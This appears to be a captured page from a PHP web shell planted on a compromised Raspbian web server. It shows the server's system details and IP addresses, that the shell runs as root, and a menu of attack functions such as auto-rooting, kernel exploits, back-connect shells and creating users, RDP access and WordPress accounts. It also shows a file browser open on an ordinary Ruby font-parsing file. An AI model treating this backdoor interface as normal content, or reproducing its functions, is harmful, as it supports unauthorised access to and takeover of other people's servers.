Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
ttfunk /
table /
[ HOME SHELL ]
Name
Size
Permission
Action
cmap
[ DIR ]
drwxr-xr-x
glyf
[ DIR ]
drwxr-xr-x
kern
[ DIR ]
drwxr-xr-x
post
[ DIR ]
drwxr-xr-x
cmap.rb
951
B
-rw-r--r--
glyf.rb
1.91
KB
-rw-r--r--
head.rb
1.21
KB
-rw-r--r--
hhea.rb
1.08
KB
-rw-r--r--
hmtx.rb
1.31
KB
-rw-r--r--
kern.rb
2.59
KB
-rw-r--r--
loca.rb
1.17
KB
-rw-r--r--
maxp.rb
1.17
KB
-rw-r--r--
name.rb
3.67
KB
-rw-r--r--
os2.rb
2.17
KB
-rw-r--r--
post.rb
2.23
KB
-rw-r--r--
sbix.rb
1.76
KB
-rw-r--r--
simple.rb
205
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sbix.rb
require_relative '../table' module TTFunk class Table class Sbix < Table attr_reader :version attr_reader :flags attr_reader :num_strikes attr_reader :strikes BitmapData = Struct.new(:x, :y, :type, :data, :ppem, :resolution) def bitmap_data_for(glyph_id, strike_index) strike = strikes[strike_index] return if strike.nil? glyph_offset = strike[:glyph_data_offset][glyph_id] next_glyph_offset = strike[:glyph_data_offset][glyph_id + 1] if glyph_offset && next_glyph_offset bytes = next_glyph_offset - glyph_offset if bytes > 0 parse_from(offset + strike[:offset] + glyph_offset) do x, y, type = read(8, 's2A4') data = StringIO.new(io.read(bytes - 8)) BitmapData.new( x, y, type, data, strike[:ppem], strike[:resolution] ) end end end end def all_bitmap_data_for(glyph_id) strikes.each_index.map do |strike_index| bitmap_data_for(glyph_id, strike_index) end.compact end private def parse! @version, @flags, @num_strikes = read(8, 'n2N') strike_offsets = Array.new(num_strikes) { read(4, 'N').first } @strikes = strike_offsets.map do |strike_offset| parse_from(offset + strike_offset) do ppem, resolution = read(4, 'n2') data_offsets = Array.new(file.maximum_profile.num_glyphs + 1) do read(4, 'N').first end { ppem: ppem, resolution: resolution, offset: strike_offset, glyph_data_offset: data_offsets } end end end end end end
Close